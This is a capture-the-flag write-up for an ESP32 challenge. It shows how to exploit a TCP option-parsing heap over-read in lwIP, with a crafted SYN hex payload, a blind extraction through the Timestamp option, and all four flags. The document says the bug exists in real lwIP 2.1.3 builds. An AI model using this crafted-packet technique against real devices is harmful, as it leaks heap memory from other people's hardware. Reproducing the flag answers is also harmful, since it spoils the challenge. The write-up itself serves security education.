ESPILON-CTF-2026-Writeups/ESP/Phantom_Byte/README.md

179 lines
3.9 KiB
Markdown

# Phantom Byte — Writeup
## TL;DR
4-layer progressive challenge on a real ESP32. Exploit a heap-buffer-overflow
in the device's TCP option parser (based on a real lwIP 0-day). Each layer
teaches a skill leading to the final blind extraction.
## Reconnaissance
1. Flash firmware on ESP32, connect UART at 115200
2. Connect to WiFi AP **Phantom_Node** (password: `thewire2024`)
3. Connect to the debug probe: `nc 192.168.4.1 1337`
## Flag 1 — Signal (100pts)
> *"The node whispers when it wakes."*
Monitor the UART output during boot. Among the diagnostic lines:
```
[ 0.089] DIAG:b64:RVNQSU9Me3U0cnRfczMzc180bGx9
```
Decode the base64:
```bash
echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d
```
Result: `ESPILON{u4rt_s33s_4ll}`
Submit over TCP:
```
ph> unlock ESPILON{u4rt_s33s_4ll}
>> sequence accepted.
>> layer 2 unlocked. you're getting closer to the wire.
```
## Flag 2 — Backdoor (200pts)
> *"Phantom always leaves a way in."*
In layer 2, `help` lists the documented commands. But the `mem` output hints:
```
ph> mem
>> secrets cached in the wire
```
And `info` shows:
```
>> backdoor: [CLASSIFIED]
```
Try the hidden command `wire`:
```
ph> wire
>> accessing the wire...
>> config_cache dump:
>> ESPILON{h1dd3n_c0nf1g}
```
Submit:
```
ph> unlock ESPILON{h1dd3n_c0nf1g}
>> layer 3 unlocked. careful. the deeper you go, the less you come back.
```
## Flag 3 — Memory Bleed (300pts)
> *"The parser reads more than it should."*
In layer 3, enable debug tracing and inject a crafted TCP SYN:
```
ph> trace on
>> trace enabled.
```
Build a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes):
```
Byte 12-13: F002 (doff=15, flags=SYN)
```
Full hex: `053900500000000100000000f002ffff00000000`
```
ph> inject 053900500000000100000000f002ffff00000000
```
The trace output shows each byte read by `tcp_get_next_optbyte`:
```
[TRACE] tcp_get_next_optbyte:
[ 20] 0x45 << oob
[ 21] 0x53 << oob
[ 22] 0x50 << oob
[ 23] 0x49 << oob
...
```
All `<< oob` bytes are reads past the segment into the adjacent config_cache.
Convert hex to ASCII:
```
0x45=E 0x53=S 0x50=P 0x49=I 0x4c=L 0x4f=O 0x4e=N 0x7b={
0x70=p 0x68=h 0x34=4 0x6e=n 0x74=t 0x30=0 0x6d=m 0x5f=_
0x62=b 0x79=y 0x74=t 0x33=3 0x5f=_ 0x68=h 0x33=3 0x34=4
0x70=p 0x5f=_ 0x6c=l 0x33=3 0x34=4 0x6b=k 0x7d=}
```
Flag: `ESPILON{ph4nt0m_byt3_h34p_l34k}`
## Flag 4 — Blind Oracle (500pts)
> *"The protocol itself is your oracle."*
Disable trace output — no more per-byte visibility:
```
ph> trace off
```
The vulnerability still exists, but now the only feedback is the **parsed
option values**. Use the TCP Timestamp option (kind=8, len=10) to straddle
the segment boundary:
**Technique**: Place the Timestamp kind+len as the last 2 in-bounds bytes.
The 8 data bytes (TSval: 4B + TSecr: 4B) are read from OOB heap memory.
### Extraction
**Chunk 1** (flag bytes 0-7): seg_size=32, doff=10
```
ph> inject <crafted_hex>
>> opt: TS=1163150159/1280267387
```
Decode: `1163150159``0x45535049``ESPI`, `1280267387``0x4c4f4e7b``LON{`
**Chunk 2** (flag bytes 8-15): seg_size=40, doff=12
Decode TSval/TSecr → `bl1n` / `d_st`
**Chunk 3** (flag bytes 16-22): seg_size=48, doff=14
Decode TSval/TSecr → `r4dd` / `l3}\x00`
Reconstruct: `ESPILON{bl1nd_str4ddl3}`
## Automated Solver
```bash
python3 solve.py 192.168.4.1 1337
```
## Flags
| # | Flag | Points |
|---|------|--------|
| 1 | `ESPILON{u4rt_s33s_4ll}` | 100 |
| 2 | `ESPILON{h1dd3n_c0nf1g}` | 200 |
| 3 | `ESPILON{ph4nt0m_byt3_h34p_l34k}` | 300 |
| 4 | `ESPILON{bl1nd_str4ddl3}` | 500 |
## Real-world Context
This challenge is based on a **real vulnerability** found in lwIP 2.1.3 (ESP-IDF v5.3).
The function `tcp_get_next_optbyte()` in `tcp_in.c` does not validate that the option
index stays within the pbuf's actual payload length. A remote attacker can send a crafted
TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory.